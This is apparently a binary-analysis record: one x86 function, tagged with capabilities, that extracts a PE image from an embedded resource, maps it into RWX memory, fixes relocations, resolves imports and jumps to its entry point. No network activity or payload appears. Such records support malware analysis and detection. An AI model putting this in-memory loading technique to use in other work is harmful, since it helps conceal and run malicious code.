Function at 0x401140
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
sub esp, 0x10c
mov eax, dword [0x4435f0]
xor eax, esp
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x114]
mov edx, dword [esp + 0x110]
push ebx
push esi
mov esi, ecx
mov ecx, dword [esp + 0x120]
push eax
push ecx
push 0
mov dword [esi + 8], edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov ecx, 0x5a4d
mov dword [esi + 0xc], eax
cmp word [ebx], cx
je 0x4011c1
cmp dword [eax], 0x4550
je 0x4011c1
push 0x10
push 0x435698
push 0x435678
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x40134b
mov edx, dword [eax + 0x34]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov edi, dword [eax + 0x50]
push 0x40
push 0x2000
push edi
push edx
call ebp
mov dword [esi + 4], eax
test eax, eax
jne 0x4011ef
push 0x40
push 0x2000
push edi
push eax
call ebp
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
push 0x40
push 0x1000
push edi
push eax
call ebp
mov ecx, dword [esi + 0xc]
mov edx, dword [ecx + 0x54]
mov eax, dword [esi + 4]
push edx
push ebx
push eax
call fcn.0041ffc0
mov edi, dword [esi + 0xc]
movzx ebp, word [edi + 6]
add esp, 0xc
mov dword [esp + 0x10], 0
test ebp, ebp
jle 0x401277
add edi, 0x10c
lea ebx, [ebx]
cmp dword [edi - 4], 0
mov edx, dword [edi]
lea ecx, [edx + ebx]
mov dword [esp + 0x14], ecx
je 0x401267
mov eax, dword [edi - 8]
add eax, dword [esi + 4]
lea ecx, [ebp - 1]
cmp dword [esp + 0x10], ecx
jge 0x401255
mov ecx, dword [edi + 0x28]
sub ecx, edx
jmp 0x401258
mov ecx, dword [edi - 4]
mov edx, dword [esp + 0x14]
push ecx
push edx
push eax
call fcn.0041ffc0
add esp, 0xc
mov eax, dword [esp + 0x10]
inc eax
add edi, 0x28
cmp eax, ebp
mov dword [esp + 0x10], eax
jl 0x401230
mov edi, dword [esi + 0xc]
mov ecx, dword [edi + 0xa0]
test ecx, ecx
je 0x4012f0
mov eax, dword [esi + 4]
mov edx, eax
sub edx, dword [edi + 0x34]
add ecx, eax
mov eax, dword [ecx]
mov dword [esp + 0x14], edx
test eax, eax
je 0x4012f0
jmp 0x4012a0
mov edx, dword [ecx + 4]
mov ebx, dword [esi + 4]
sub edx, 8
add ebx, eax
shr edx, 1
je 0x4012f0
xor edi, edi
test edx, edx
jle 0x4012e7
jmp 0x4012c0
movzx eax, word [ecx + edi*2 + 8]
mov ebp, eax
and ebp, 0xf000
cmp ebp, 0x3000
jne 0x4012e2
mov ebp, dword [esp + 0x14]
and eax, 0xfff
add eax, ebx
add dword [eax], ebp
inc edi
cmp edi, edx
jl 0x4012c0
add ecx, dword [ecx + 4]
mov eax, dword [ecx]
test eax, eax
jne 0x4012a0
push 0xff
lea eax, [esp + 0x1d]
push 0
push eax
mov byte [esp + 0x24], 0
call fcn.0041ff40
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx + 0x80]
add esp, 0xc
test eax, eax
je 0x401326
mov ebx, dword [esi + 4]
add ebx, eax
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x10], ebx
test eax, eax
jne 0x401368
mov eax, dword [esi + 0xc]
mov ecx, dword [eax + 0x28]
mov edx, dword [esi + 4]
push 0
lea eax, [ecx + edx]
mov ecx, dword [esi + 8]
push 1
push ecx
mov dword [esi + 0x10], eax
call eax
mov ecx, esi
call fcn.00401110
mov eax, dword [esi + 4]
pop edi
pop ebp
mov ecx, dword [esp + 0x110]
pop esi
pop ebx
xor ecx, esp
call fcn.0041ff23
add esp, 0x10c
ret 0xc
mov ebx, dword [esp + 0x10]
mov edx, dword [esi + 4]
add edx, eax
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
test ebp, ebp
je 0x4013d8
mov ecx, dword [ebx + 0x10]
mov ebx, dword [ebx]
mov eax, dword [esi + 4]
lea edi, [ecx + eax]
test ebx, ebx
je 0x40138b
mov ecx, ebx
lea ebx, [eax + ecx]
mov eax, dword [ebx]
test eax, eax
je 0x4013c1
test eax, 0x800000
jne 0x4013a6
mov ecx, dword [esi + 4]
add ecx, eax
add ecx, 2
push ecx
jmp 0x4013ac
xor eax, 0x7fffff
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add ebx, 4
mov dword [edi], eax
mov eax, dword [ebx]
add edi, 4
test eax, eax
jne 0x401394
mov eax, dword [esp + 0x10]
add eax, 0x14
mov dword [esp + 0x10], eax
mov eax, dword [eax + 0xc]
test eax, eax
jne 0x401364
jmp 0x401326
mov eax, dword [ebx + 0xc]
add eax, dword [esi + 4]
lea ecx, [esp + 0x18]
push eax
push 0x435660
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x10
push 0x435658
lea edx, [esp + 0x20]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x401349